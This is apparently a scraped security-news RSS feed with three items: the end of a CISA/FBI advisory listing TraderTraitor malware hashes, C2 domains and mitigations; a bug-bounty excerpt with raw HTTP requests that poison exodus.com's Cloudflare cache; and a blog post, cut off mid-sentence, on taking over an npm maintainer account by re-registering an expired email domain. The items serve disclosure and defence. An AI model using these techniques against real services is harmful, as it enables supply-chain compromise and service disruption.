<p><strong>Tags:</strong> dropper peexe nsis<br><strong>Name:</strong> AlticGO_R.exe<br><strong>Size:</strong> 44.58 MB (46745505 bytes)<br><strong>MD5:</strong> 855b2f4c910602f895ee3c94118e979a<br><strong>SHA-1:</strong> ff17bd5abe9f4939918f27afbe0072c18df6db37<br><strong>SHA-256:</strong> e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad<br><strong>ssdeep:</strong> 786432:LptZmVDkD1mQIiXUBkRbWGtqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yH:LpzKDgzRpWGwpAU6JXnJ46X+eC6cySiI<br><strong>Compilation timestamp:</strong> 2020-02-12 16:15:17 UTC</p>

<p> </p>

<p><strong><em>8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925</em></strong></p>

<p><strong>Tags:</strong> dropper peexe nsis<br><strong>Name: </strong>AlticGO.exe<br><strong>Size: </strong>44.58 MB (46745644 bytes)<br><strong>MD5:</strong> 9a6307362e3331459d350a201ad66cd9<br><strong>SHA-1:</strong> 3f2c1e60b5fac4cf1013e3e1fc688be490d71a84<br><strong>SHA-256:</strong> 8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925<br><strong>ssdeep:</strong> 786432:AptZmVDkD1mjPNDeuxOTKQqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yV7:ApzKDgqPxeuLpAU6JXnJ46X+eC6cySiG<br><strong>Compilation timestamp: </strong>2020-02-12 16:15:17 UTC</p>

<p> </p>

<p><em><strong>Esilet</strong></em><br>
Esilet claims to offer live cryptocurrency prices and price predictions. It contains a simpler version of TraderTraitor code in a function exported as <code>UpdateCheckSync()</code> located in a file named <code>update.js</code>, which is bundled in <code>renderer.prod.js</code>, which is in the <code>app.asar </code>archive. The function calls an external function located in a file <code>node_modules/request/index.js</code> bundled in renderer.prod.js to make an HTTP request to <code>hxxps://www.esilet[.]com/update/</code>. The response is written to disk and executed in a new shell using the <code>child_process.exec()</code> method in <code>Node.js</code>. Unlike newer versions of TraderTraitor, there is no mechanism to decrypt a payload. Esilet has been observed delivering payloads of at least two different macOS variants of Manuscrypt, <code>9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa</code> and <code>dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156</code>. </p>

<p> </p>
<img alt="" data-align="center" data-entity-type="file" data-entity-uuid="15743052-d8b7-4c4e-abb8-e85a24ac83ca" height="796" src="https://us-cert.cisa.gov/sites/default/files/publications/Figure%203_Screenshot%20of%20the%20update.png" width="1226"><p class="text-align-center"><strong><em>Figure 3: Screenshot of the UpdateCheckSync() function in Esilet</em></strong></p>

<p><strong><em>esilet[.]com</em></strong></p>

<p>Information as of June 2020:<br><strong>IP Address: </strong>104.168.98[.]156<br><strong>Registrar:</strong> NameSilo, LLC<br><strong>Created: </strong>June 12, 2020<br><strong>Expires: </strong>June 12, 2021</p>

<p> </p>

<p><em><strong>greenvideo[.]nl</strong></em></p>

<p><u>Likely legitimate but compromised</u>. Information as of April 2022:<br><strong>IP Address:</strong> 62.84.240[.]140<br><strong>Registrar: </strong>Flexwebhosting<br><strong>Created: </strong>February 26, 2018<br><strong>Expires: </strong>Unknown</p>

<p> </p>

<p><em><strong>dafnefonseca[.]com</strong></em></p>

<p><u>Likely legitimate but compromised</u>. Information as of June 2020:<br><strong>IP Address: </strong>151.101.64[.]119<br><strong>Registrar: </strong>PublicDomainRegistry Created: August 27, 2019<br><strong>Expires:</strong> August 27, 2022</p>

<p> </p>

<p><em><strong>haciendadeclarevot[.]com</strong></em></p>

<p><u>Likely legitimate but compromised</u>. Information as of June 2020:<br><strong>IP Address:</strong> 185.66.41[.]17<br><strong>Registrar:</strong> cdmon, 10DENCEHISPAHARD, S.L.<br><strong>Created:</strong> March 2, 2005<br><strong>Expires:</strong> March 2, 2023</p>

<p> </p>

<p><strong><em>sche-eg[.]org </em></strong></p>

<p><u>Likely legitimate but compromised</u>. Information as of June 2020:<br><strong>IP Address: </strong>160.153.235[.]20<br><strong>Registrar: </strong>GoDaddy.com, LLC<br><strong>Created:</strong> June 1, 2019<br><strong>Expires:</strong> June 1, 2022</p>

<p> </p>

<p><em><strong>www.vinoymas[.]ch</strong></em></p>

<p><u>Likely legitimate but compromised</u>. Information as of June 2020:<br><strong>IP Address: </strong>46.16.62[.]238<br><strong>Registrar:</strong> cdmon, 10DENCEHISPAHARD, S.L.<br><strong>Created:</strong> January 24, 2010<br><strong>Expires: </strong>Unknown</p>

<p> </p>

<p><em><strong>infodigitalnew[.]com</strong></em></p>

<p><u>Likely legitimate but compromised</u>. Information as of June 2020:<br><strong>IP Address: </strong>107.154.160[.]132<br><strong>Registrar: </strong>PublicDomainRegistry<br><strong>Created:</strong> June 20, 2020<br><strong>Expires:</strong> June 20, 2022</p>

<p> </p>

<p><em><strong>9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598</strong></em></p>

<p><strong>Tags: </strong>dropper macos<br><strong>Name: </strong>Esilet.dmg<br><strong>Size: </strong>77.90 MB (81688694 bytes) MD5: 53d9af8829a9c7f6f177178885901c01<br><strong>SHA-1:</strong> ae9f4e39c576555faadee136c6c3b2d358ad90b9 SHA-256: 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598<br><strong>ssdeep:</strong> 1572864:lffyoUnp5xmHVUTd+GgNPjFvp4YEbRU7h8cvjmUAm4Du73X0unpXkU:lfqHBmHo+BPj9CYEshLqcuAX0I0</p>

<p> </p>

<p><em><strong>9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa</strong></em></p>

<p><strong>Tags:</strong> trojan macho<br><strong>Name: </strong>Esilet-tmpzpsb3<br><strong>Size: </strong>510.37 KB (522620 bytes)<br><strong>MD5:</strong> 1ca31319721740ecb79f4b9ee74cd9b0<br><strong>SHA-1:</strong> 41f855b54bf3db621b340b7c59722fb493ba39a5 SHA-256: 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa<br><strong>ssdeep:</strong> 6144:wAulcT94T94T97zDj1I/BkjhkbjZ8bZ87ZMSj71obV/7NobNo7NZTb7hMT5ETZ8I:wDskT1UBg2lirFbpR9mJGpmN C2 Endpoints:</p>

<ul><li>hxxps://greenvideo[.]nl/wp-content/themes/top.php</li>
	<li>hxxps://dafnefonseca[.]com/wp-content/themes/top.php</li>
	<li>hxxps://haciendadeclarevot[.]com/wp-content/top.php</li>
</ul><p> </p>

<p><em><strong>dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156</strong></em></p>

<p><strong>Tags:</strong> trojan macho<br><strong>Name:</strong> Esilet-tmpg7lpp Size: 38.24 KB (39156 bytes)<br><strong>MD5:</strong> 9578c2be6437dcc8517e78a5de1fa975<br><strong>SHA-1:</strong> d2a77c31c3e169bec655068e96cf4e7fc52e77b8<br><strong>SHA-256:</strong> dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156<br><strong>ssdeep:</strong> 384:sdaWs0fDTmKnY4FPk6hTyQUitnI/kmCgr7lUryESll4yg9RpEwrUifJ8ttJOdy:sdayCkY4Fei9mhy/L9RBrny6y</p>

<p><strong>C2 Endpoints: </strong></p>

<ul><li><code>hxxps://sche-eg[.]org/plugins/top.php</code></li>
	<li><code>hxxps://www.vinoymas[.]ch/wp-content/plugins/top.php</code></li>
	<li><code>hxxps://infodigitalnew[.]com/wp-content/plugins/top.php</code></li>
</ul><p> </p>

<p><em><strong>CreAI Deck</strong></em><br>
CreAI Deck claims to be a platform for “artificial intelligence and deep learning.” No droppers for it were identified, but the filenames of the below samples, win32.bin and darwin64.bin, match the naming conventions used by other versions of TraderTraitor when downloading a payload. Both are samples of Manuscrypt that contact <code>hxxps://aideck[.]net/board.php</code> for C2 using HTTP POST requests with <code>multipart/form-data</code> Content-Types.</p>

<p> </p>

<p><em><strong>creaideck[.]com</strong></em></p>

<p>Information as of March 2020:<br><strong>IP Address:</strong> 38.132.124[.]161<br><strong>Registrar:</strong> NameCheap, Inc.<br><strong>Created: </strong>March 9, 2020<br><strong>Expires:</strong> March 9, 2021</p>

<p> </p>

<p><em><strong>aideck[.]net</strong></em></p>

<p>Information as of June 2020:<br><strong>IP Address: </strong>89.45.4[.]151<br><strong>Registrar: </strong>NameCheap, Inc.<br><strong>Created: </strong>June 22, 2020<br><strong>Expires: </strong>June 22, 2021</p>

<p> </p>

<p><em><strong>867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36</strong></em></p>

<p><strong>Tags:</strong> trojan peexe<br><strong>Name:</strong> win32.bin<br><strong>Size:</strong> 2.10 MB (2198684 bytes)<br><strong>MD5:</strong> 5d43baf1c9e9e3a939e5defd8f8fbd8d<br><strong>SHA-1:</strong> d5ff73c043f3bb75dd749636307500b60a436550 SHA-256: 867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36<br><strong>ssdeep:</strong> 24576:y3SY+/2M3BMr7cdgSLBjbr4nzzy95VV7cEXV:ESZ2ESrHSV3D95oA<br><strong>Compilation timestamp:</strong> 2020-06-23 06:06:35 UTC</p>

<p> </p>

<p><em><strong>89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957</strong></em></p>

<p><strong>Tags:</strong> trojan macho<br><strong>Name:</strong> darwin64.bin<br><strong>Size:</strong> 6.44 MB (6757832 bytes)<br><strong>MD5:</strong> 8397ea747d2ab50da4f876a36d673272<br><strong>SHA-1:</strong> 48a6d5141e25b6c63ad8da20b954b56afe589031<br><strong>SHA-256:</strong> 89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957<br><strong>ssdeep:</strong> 49152:KIH1kEh7zIXlDYwVhb26hRKtRwwfs62sRAdNhEJNDvOL3OXl5zpF+FqBNihzTvff:KIH1kEhI1LOJtm2spB</p>
<h3>Mitigations</h3><p>North Korean state-sponsored cyber actors use a full array of tactics and techniques to exploit computer networks of interest, acquire sensitive cryptocurrency-intellectual property, and gain financial assets. The U.S. government recommends implementing mitigations to protect critical infrastructure organizations as well as financial sector organizations in the blockchain technology and cryptocurrency industry.</p>

<ul><li>Apply defense-in-depth security strategy. Apply security principles—such as least access models and defense-in-depth—to user and application privileges to help prevent exploitation attempts from being successful. Use network segmentation to separate networks into zones based on roles and requirements. Separate network zones can help prevent lateral movement throughout the organization and limit the attack surface. See NSA’s <a href="https://media.defense.gov/2019/Jul/16/2002158046/-1/-1/0/CSI-NSAS-TOP10-CYBERSECURITY-MITIGATION-STRATEGIES.PDF">Top Ten Cybersecurity Mitigation Strategies</a> for strategies enterprise organizations should use to build a defense-in-depth security posture. </li>
	<li>Implement patch management. Initial and follow-on exploitation involves leveraging common vulnerabilities and exposures (CVEs) to gain access to a networked environment. Organizations should have a timely vulnerability and patch management program in place to mitigate exposure to critical CVEs. Prioritize patching of internet-facing devices and monitored accordingly for any malicious logic attacks. </li>
	<li>Enforce credential requirements and multifactor authentication. North Korean malicious cyber actors continuously target user credentials, email, social media, and private business accounts. Organizations should ensure users change passwords regularly to reduce the impact of password spraying and other brute force techniques. The U.S. government recommends organizations implement and enforce multifactor authentication (MFA) to reduce the risk of credential theft. Be aware of <a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-074a">MFA interception techniques for some MFA implementations</a> and monitor for anomalous logins.</li>
	<li>Educate users on social engineering on social media and spearphishing. North Korean actors rely heavily on social engineering, leveraging email and social media platforms to build trust and send malicious documents to unsuspecting users. A cybersecurity aware workforce is one of the best defenses against social engineering techniques like phishing. User training should include how to identify social engineering techniques and awareness to only open links and attachments from trusted senders.</li>
	<li>Implement email and domain mitigations. Maintain awareness of themed emails surrounding current events. Malicious cyber actors use current events as lure for potential victims as observed during the COVID-19 pandemic. Organizations should have a robust domain security solution that includes leveraging reputation checks and closely monitoring or blocking newly registered domains (NRDs) in enterprise traffic. NRDs are commonly established by threat actors prior to malicious engagement.
	<ul><li>HTML and email scanning. Organizations should disable HTML from being used in emails and scan email attachments. Embedded scripts may be hard for an antivirus product to detect if they are fragmented. An additional malware scanning interface product can be integrated to combine potentially malicious payloads and send the payload to the primary antivirus product. Hyperlinks in emails should also be scanned and opened with precautionary measures to reduce the likelihood of a user clicking on a malicious link.</li>
	</ul></li>
	<li>Endpoint protection. Although network security is critical, devices mobility often means traveling and connecting to multiple different networks that offer varying levels of security. To reduce the risk of introducing exposed hosts to critical networks, organizations should ensure mobile devices have installed security suites to detect and mitigate malware. </li>
	<li>Enforce application security. Application allowlisting enables the organization to monitor programs and only allow those on the approved allowlist to execute. Allowlisting helps to stop the initial attack, even if the user clicks a malicious link or opens a malicious attachment. Implement baseline rule sets, such as NSA’s <a href="https://media.defense.gov/2020/Aug/04/2002469874/-1/-/0/CSI_LIMITING_LOCATION_DATA_EXPOSURE_FINAL.PDF">Limiting Location Data Exposure</a> guidance, to block execution of unauthorized or malicious programs.
	<ul><li>Disable macros in office products. Macros are a common method for executing code through an attached office document. Some office products allow for the disabling of macros that originate from outside of the organization, providing a hybrid approach when the organization depends on the legitimate use of macros.
		<ul><li>Windows specific settings can be configured to block internet-originated macros from running. This can be done in the Group Policy Administrative Templates for each of the associated Office products (specifically Word, Excel and PowerPoint). Other productivity software, such as LibreOffice and OpenOffice, can be configured to set the Macro Security Level.</li>
		</ul></li>
	</ul></li>
	<li>Be aware of third-party downloads—especially cryptocurrency applications. North Korean actors have been increasingly active with currency generation operations. Users should always verify file downloads and ensure the source is from a reputable or primary (preferred) source and not from a third-party vendor. Malicious cyber actors have continuously demonstrated the ability to trojanize applications and gain a foothold on host devices.</li>
	<li>Create an incident response plan to respond to possible cyber intrusions. The plan should include reporting incidents to both the FBI and CISA—quick reporting can reduce the severity of incidents and provide valuable information to investigators. Contact information can be found below. </li>
</ul><h3>Contact </h3>

<p>All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at <a href="https://us-cert.cisa.govmailto:report@cisa.gov/">report@cisa.gov</a> or (888) 282-0870 and/or to the FBI via your <a href="https://www.fbi.gov/contact-us/field-offices">local FBI field office</a> or the FBI’s 24/7 CyWatch at (855) 292-3937 or <a href="https://us-cert.cisa.govmailto:CyWatch@fbi.gov/">CyWatch@fbi.gov</a>.</p>

<h3>Disclaimer</h3>

<p>The information in this advisory is provided "as is" for informational purposes only. The FBI, CISA, and Treasury do not provide any warranties of any kind regarding this information or endorse any commercial product or service, including any subjects of analysis.<br>
 </p>
            <h3>Revisions</h3>
		<ul><li>Initial Version: April 18, 2022</li>		</ul><hr><div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p class="privacy-and-terms">This product is provided subject to this <a href="https://us-cert.cisa.gov/privacy/notification">Notification</a> and this <a href="https://www.dhs.gov/privacy-policy">Privacy &amp; Use</a> policy.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Exodus: 2 Cache Poisoning Attack Methods Affect Core Functionality www.exodus.com]]></title>
<description><![CDATA[Summary: www.exodus.com hosts static js and css files on Server: cloudflare . Which is cached by cloudflare and passed to all other users accessing the source. I was able to impact the core functionality by using a custom HTTP. Here are 2 details of the Bug. Steps To Reproduce: 1. 501 Not Impleme...]]></description>
<link>https://tsecurity.de/de/1533954/sicherheitsluecken/exodus-2-cache-poisoning-attack-methods-affect-core-functionality-wwwexoduscom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1533954/sicherheitsluecken/exodus-2-cache-poisoning-attack-methods-affect-core-functionality-wwwexoduscom/</guid>
<pubDate>Tue, 07 Jun 2022 07:06:18 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<br><img height="200" width="200" src="http://vulners.com/static/img/hackerone.png" alt="image"><br>Summary: www.exodus.com hosts static js and css files on Server: cloudflare . Which is cached by cloudflare and passed to all other users accessing the source. I was able to impact the core functionality by using a custom HTTP. Here are 2 details of the Bug. Steps To Reproduce: 1. 501 Not Implemented At https://www.exodus.com/, I was able to impact core functionality by using an invalid custom HTTP header to replace the JavaScript file from https://www.exodus.com/webpack-runtime-d5cfa86b8e358efc5db3-v2.js with message &amp;#x27;501 Not Implemented&amp;#x27;. ERROR /webpack-runtime-d5cfa86b8e358efc5db3-v2.js?cachebust=exodus HTTP/1.1 Host: www.exodus.com CRASH /webpack-runtime-d5cfa86b8e358efc5db3-v2.js?cachebust=exodus HTTP/1.1 Host: www.exodus.com Response : HTTP/1.1 501 Not Implemented Date: Wed, 25 May 2022 22:07:00 GMT Content-Length: 0 Connection: keep-alive Expect-CT: max-age=604800, report-uri=&amp;quot;https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct&amp;quot; Strict-Transport-Security: max-age=15552000; includeSubDomains; preload Set-Cookie: __cfruid=5132a5357442dd861d107824c86a39a95057bcaf-1653516420; path=/; domain=.exodus.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 711194da3f3fa131-SIN ( HTTP ) My custom CRASH &amp;amp; ERROR to fulfill a request does not work or is not found on the server this server establishes communication between the client and the server to be interrupted . Note that the CF-RAY value changes every time we send a request. CF-RAY is a hash value that...]]></content:encoded>
</item>
<item>
<title><![CDATA["Zero-Days" Without Incident - Compromising Angular via Expired npm Publisher Email Domains]]></title>
<description><![CDATA[NOTE: If you’re just looking for the high level points, see the
“The TL;DR Summary & High-Level
Points” section of this
post.

Recently I took an interest in the npm
registry due to it’s critical role in
the security of managing packages for all of JavaScript and Node. After
registering an accoun...]]></description>
<link>https://tsecurity.de/de/1527757/hacking/zero-days-without-incident-compromising-angular-via-expired-npm-publisher-email-domains/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1527757/hacking/zero-days-without-incident-compromising-angular-via-expired-npm-publisher-email-domains/</guid>
<pubDate>Fri, 03 Jun 2022 18:22:36 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><strong>NOTE:</strong> <em>If you’re just looking for the high level points, see the
“<a href="https://thehackerblog.com/feed.xml#the-tldr-summary--high-level-points">The TL;DR Summary &amp; High-Level
Points</a>” section of this
post.</em></p>

<p>Recently I took an interest in the <a href="https://www.npmjs.com/">npm
registry</a> due to it’s critical role in
the security of managing packages for all of JavaScript and Node. After
registering an account and creating an example package, I began looking
through various web endpoints to understand what sort of system I was
dealing with.</p>

<!--more-->

<p>While browsing various popular packages, I noticed one fairly unique
thing to the registry: email addresses for all users are public. For
example, requesting my own <a href="https://www.npmjs.com/~mandatory">profile
page</a> returned my email
address:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image14.png" alt="alt text"></p>

<p><em>HTTP response including my npm account email.</em></p>

<p>Spam concerns aside, this is an interesting choice for a registry as it
publicly discloses the email addresses for maintainers of all npm
packages. An attacker could use this to enumerate the emails of all
maintainers for an npm package and utilize them in a targeted spear
phishing campaign, for example. In any case, these sorts of phishing
attacks are well-known and not of particular interest for research.
However, there may be more novel ideas to consider…</p>

<h2>Custom Email Domains &amp; Developer Culture</h2>

<p>Upon viewing more packages and maintainers, another pattern began to
emerge: emails at developer-owned domains. As many developers will tell
you, having an email at your own domain is peak nerd street cred. I hate
to admit it, but when someone gives me their email and I notice it has a
custom domain, I subconsciously think “this person may know a thing or
two about computers”.</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image3.gif" alt="alt text"></p>

<p><em>Average nerd reaction to receiving another nerd’s email with a custom
domain.</em></p>

<p>Of course, these custom emails are not just used for social
communication. They are used for all of the various accounts that
developers utilize. As you may have guessed, one of those online
accounts could very well be a developer’s account on the npm registry.</p>

<p>This raises a point that I don’t think many developers consider. By
registering and using a custom domain as their main email address, they
implicitly give that domain <a href="https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/">and their
TLD</a>
complete control over most of their online accounts. While not
universally true, often if you have control of someone’s email account
you can get access to their online accounts by simply initiating and
completing the password reset process for each site. Again, the npm
registry is no exception to this. If you have control of someone’s email
you can reset the npm account’s password and take over the account.</p>

<h2>Ticking Towards Vulnerable, Domain Expiration</h2>

<p>Domains for the most part are not free, and require continually paying a
fee to keep them under your control. Over a long enough time period this
can prove problematic, because often these domains can end up expiring
and becoming available for registration by other people. I’ve written
about vulnerabilities caused by this <a href="https://bishopfox.com/blog/noscript-bypass-advisory">as far
back as
2015</a>, and
overtime I’ve only seen more and more potential for attacks utilizing
this issue.</p>

<p>I was curious if any of the maintainers of popular npm packages had
emails which were hosted on expired domain names. From past experience,
if you have a somewhat probable event and you cast a wide-enough net, it
reasons that you’re likely to get results. With this in mind, I wrote a
custom script to scrape the maintainers for the top 1,000 npm packages
and the dependencies they depend upon. For each package I pulled the
full list of developer emails, extracted the email base domains, and
checked if these domains returned a <a href="https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-6">status
(<code class="highlighter-rouge">RCODE</code>)</a>
other than <a href="https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-6"><code class="highlighter-rouge">NOERROR</code></a>.
The idea being that if the domains returned a non-standard error code
when queried, they might be expired or exploitably-misconfigured.</p>

<h2>Results, Registrations, and Resets</h2>

<p>The results met expectations: lots of <a href="https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-6"><code class="highlighter-rouge">NXDOMAIN</code></a>
(domain not found) and other DNS errors in the domains extracted from
maintainer emails. Many of these domains were for smaller packages
without many weekly installs, but a few were from packages that were
quite popular.</p>

<p>For example, the package <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a>
has a maintainer <a href="https://www.npmjs.com/~additiveamateur"><code class="highlighter-rouge">additiveamateur</code></a>
with an email address of <code class="highlighter-rouge">carlo[@]machina[dot]bio</code>. The package is
quite popular, with ~5 million installs a week on npm at the time of
this writing:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image12.png" alt="alt text"></p>

<p><em>Weekly package downloads of <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a>
as of Feb 6, 2022.</em></p>

<p>This domain name returned an <code class="highlighter-rouge">NXDOMAIN</code> error and was available for
registration. In order to confirm that it was actually possible to take
over the <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a>
package with this expired domain, I proceeded to register it:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image11.png" alt="alt text"></p>

<p><em>Registration confirmation of <code class="highlighter-rouge">machina.bio</code></em></p>

<p>Once the domain was registered, I configured the domain’s DNS to route
email from <code class="highlighter-rouge">carlo[@]machina[dot]bio</code> to my personal email inbox.
With emails routing for this address, I then initiated the
password-reset process for the <a href="https://www.npmjs.com/~additiveamateur"><code class="highlighter-rouge">additiveamateur</code></a>
npm user:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image8.png" alt="alt text"></p>

<p><em>Recover password prompt on the npm registry website.</em></p>

<p>However, I encountered an unexpected error upon submitting the request:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image17.png" alt="alt text"></p>

<p><em>Error message upon submitting the password reset request.</em></p>

<p>Checking the raw HTTP response provided some clarity on the potential
problem:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image6.png" alt="alt text"></p>

<p><em>Raw HTTP response detailing error from password reset.</em></p>

<p>This type of thing is exactly why doing end-to-end confirmation for
theoretical vulnerabilities is so important. To quote Benjamin Brewster:
<a href="https://quoteinvestigator.com/2018/04/14/theory/"><em>“In theory there is no difference between
theory and practice. In practice there
is.”</em></a>.</p>

<p>What caused this account to be flagged in this way? Was there some npm
security check created to lock all accounts with emails at expired
domains? That would be an impressive level of defense-in-depth, but
perhaps there is a more simple explanation at play.</p>

<h2>Contacting Support</h2>

<p>I wanted to see if contacting support was actually a real barrier to
exploitation of these accounts. In order to do this, I submitted a
support ticket intentionally written to be as basic as possible:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image13.png" alt="alt text"></p>

<p><em>Intentionally basic support ticket submission to test the “contact
support” roadblock.</em></p>

<p>I didn’t want to bias the test by using any persuasive language or
social engineering, so I kept the ticket message plain. I simply noted
that I’m getting an error when resetting the password for the account
and I’d like it to be unblocked. If support required further
verification to do this, or if there was some other hurdle, then the
plan was to conclude the research there.</p>

<p>However, after three days of waiting, I received the following response
from npm support:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image10.png" alt="alt text"></p>

<p><em>Response from support confirming that the ability to reset passwords
has been re-enabled.</em></p>

<p>Support confirmed that they had re-enabled the ability to reset
passwords for the account. Their response seemed to indicate that the
account was flagged due to previous issues sending emails, which would
be expected with the domain having expired.</p>

<p>Perhaps a much more simple explanation for the restriction was that they
had issues delivering to the email address on file previously, and as a
result email-sending features were disable for the account. This would
make sense, as <a href="https://docs.aws.amazon.com/ses/latest/dg/send-email-concepts-deliverability.html#send-email-concepts-deliverability-bounce">bouncing emails can hurt your
email sender
reputation</a>
and get your emails marked as spam.</p>

<p>In any case, the support roadblock was not an actual preventative
measure in this case.</p>

<h2>Taking Over the <code class="highlighter-rouge">additiveamateur</code> Account</h2>

<p>I then again attempted to reset the password for the <code class="highlighter-rouge">additiveamateur</code>
account. This time I was greeted with a confirmation that the reset had
succeeded and that a reset link was sent to the email address for the
account:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image5.png" alt="alt text"></p>

<p><em>Confirmation prompt that the password reset was successful.</em></p>

<p>Sure enough, I received an email with a link to reset the account
password for the account in my inbox:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image7.png" alt="alt text"></p>

<p><em>Password reset email received for the account.</em></p>

<p>The next steps were about what you’d expect, I set a new password and
was then able to successfully log in as the <code class="highlighter-rouge">additiveamateur</code> account:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image1.png" alt="alt text"></p>

<p><em>Screenshot of options once logged in to the <code class="highlighter-rouge">additiveamateur</code>
account.</em></p>

<p>As expected, the account had full access to the <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a>
package:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image9.png" alt="alt text"></p>

<p><em>Settings page for <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a>,
demonstrating admin access to the package. Screenshot dated January
15th, 2022.</em></p>

<p>At this point, I was satisfied that the impact was proven and I ceased
testing on the issue. I didn’t push any updates to the package because I
believed the risk of affecting developers far out-weighed the benefit of
proving the entire attack chain. Clearly this was possible, so I
believed that taking this extra step would be unnecessary (and
potentially reckless).</p>

<p>However, there was something that was still bothering me: <em>why was this
package being installed so frequently</em>? The package seemed useful of
course, but ~5 million installs a week (and rising) is a huge amount.
This was not adding up, so I did a bit more digging. I reported the
issue responsibly to the vendor but it was marked as Informative, see
the disclosure timeline for more details.</p>

<h2>Through the Fire &amp; Flames of Dependency Hell</h2>

<p>The npm registry website has a nice feature which allows you to see the
packages that depend on a given npm package. Using this, I took a look
at <a href="https://www.npmjs.com/browse/depended/ajv-formats">the packages which would install
<code class="highlighter-rouge">ajv-formats</code> as a dependency when they
were
installed</a>:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image15.png" alt="alt text"></p>

<p><em>A few of the packages which install the package as a dependency.</em></p>

<p>The package was a dependency of both <a href="https://www.npmjs.com/package/@angular-devkit/core"><code class="highlighter-rouge">@angular-devkit/core</code></a>
and <a href="https://www.npmjs.com/package/schema-utils"><code class="highlighter-rouge">schema-utils</code></a>.
What happens when we go one level deeper and find the dependencies of
these packages?</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image2.png" alt="alt text"></p>

<p><em>Packages with a dependency on <code class="highlighter-rouge">*@angular-devkit/core</code></em>.*</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image16.png" alt="alt text"></p>

<p><em>Packages with a dependency on <a href="https://www.npmjs.com/browse/depended/schema-utils"><code class="highlighter-rouge">schema-utils</code></a>.</em></p>

<p>Shockingly, the <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a>
package was a transitive dependency for both the Angular CLI and for
<code class="highlighter-rouge">webpack</code>! A quick sanity check confirmed that when I installed the
Angular CLI, I was also installing the <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a>
package:</p>

<p><img src="https://docpusher.s3.amazonaws.com/images/fece4fff8be683f3787a6f14d791d467/image4.gif" alt="alt text"></p>

<p><em>Installing the Angular CLI and confirming that the <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a>
package is also installed.</em></p>

<p>For those not as familiar with Angular, <a href="https://angular.io/guide/deployment">the
Angular CLI is essentially required for building and deploying Angular
apps</a> (unless you’re using a
third-party builder).</p>

<p>This result seemed to clearly confirm the real-world impact of this
